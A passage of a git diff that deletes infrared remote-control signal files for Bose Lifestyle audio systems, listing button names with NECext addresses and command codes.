parsed -protocol: NECext -address: BA A3 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 58 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 59 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 69 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 8C 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A3 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A3 00 00 -command: B3 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: BA A3 00 00 -command: CC 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA A3 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA A3 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir deleted file mode 100644 index b9ca7fe5c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 03 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 05 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 15 00 00 00 -# -name: TRACK_DOWN -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 18 00 00 00 -# -name: TRACK_UP -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 19 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 58 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 59 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 69 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 8C 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A4 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A4 00 00 -command: B3 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: BA A4 00 00 -command: CC 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA A4 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA A4 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir deleted file mode 100644 index 79185e367..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 0E 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 15 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 28 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 49 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 55 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 55 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 5C 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 67 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 69 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 8C 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 8C 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A5 00 00 -command: 9D 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A5 00 00 -command: B3 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A5 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA A5 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA A5 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir deleted file mode 100644 index f818f436c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 69 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A6 00 00 -command: 9F 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA A6 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A6 00 00 -command: B3 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA A6 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA A6 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir deleted file mode 100644 index e52e92518..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 69 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A7 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A7 00 00 -command: B3 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA A7 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA A7 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir deleted file mode 100644 index 5bae57ae6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 69 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A8 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A8 00 00 -command: B3 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA A8 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA A8 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir deleted file mode 100644 index 908cad19e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: 